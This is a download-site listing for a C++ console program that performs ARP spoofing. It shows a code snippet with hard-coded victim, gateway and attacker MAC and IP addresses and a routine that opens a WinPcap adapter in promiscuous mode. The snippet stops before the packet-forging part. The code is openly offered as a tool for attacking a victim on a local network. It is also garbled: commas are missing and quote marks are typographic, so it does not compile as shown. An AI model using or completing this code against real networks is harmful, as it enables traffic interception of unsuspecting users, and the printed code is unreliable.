• 大小: 4KB
    文件类型: .cpp
    金币: 2
    下载: 0 次
    发布日期: 2024-02-01
  • 语言: C/C++
  • 标签: arp  欺骗  

资源简介

arp欺骗原理及实现 用c++实现 无界面控制台程序

资源截图

代码片段和文件信息

#include 
#include 
#include “arp_spoof.h“

const unsigned char VICTIM_MAC[MAC_LEN] = {0x00 0x21 0x00 0x38 0xD4 0xC4}; //被攻击方的MAC
const unsigned char GATEWAY_MAC[MAC_LEN] = {0xC0 0x3F 0x0E 0xB8 0x36 0x1C}; //网关的MAC
const unsigned char FAKE_MAC[MAC_LEN] = {0x00 0x21 0x5D 0x1E 0x9B 0xE2}; //攻击者的MAC
const char  VICTIM_IP[] = “10.0.0.8“; //被攻击方IP
const char GATEWAY_IP[] = “10.0.0.1“; //网关IP 

char errbuf[PCAP_ERRBUF_SIZE];

//选择网卡
int select_adapter(pcap_t **handle) {
pcap_if_t *alldevs;
pcap_if_t *d;
int inum;
int i=0;


/* Retrieve the device list */
if(pcap_findalldevs(&alldevs errbuf) == -1)
{
fprintf(stderr“Error in pcap_findalldevs: %s\n“ errbuf);
exit(1);
}

/* Print the list */
for(d=alldevs; d; d=d->next)
{
printf(“%d. %s“ ++i d->name);
if (d->description)
printf(“ (%s)\n“ d->description);
else
printf(“ (No description available)\n“);
}

if(i==0)
{
printf(“\nNo interfaces found! Make sure WinPcap is installed.\n“);
return -1;
}

printf(“Enter the interface number (1-%d):“i);
scanf(“%d“ &inum);

if(inum < 1 || inum > i)
{
printf(“\nInterface number out of range.\n“);
/* Free the device list */
pcap_freealldevs(alldevs);
return -1;
}

/* Jump to the selected adapter */
for(d=alldevs i=0; i< inum-1 ;d=d->next i++);

/* Open the device */
/* Open the adapter */
if ((*handle= pcap_open_live(d->name // name of the device
 65536 // portion of the packet to capture. 
// 65536 grants that the whole packet will be captured on all the MACs.
 PCAP_OPENFLAG_PROMISCUOUS // promiscuous mode (nonzero means promiscuous)
 1000 // read timeout
 errbuf // error buffer
 )) == NULL)
{
fprintf(stderr“\nUnable to open the adapter. %s is not supported by WinP

评论

共有 条评论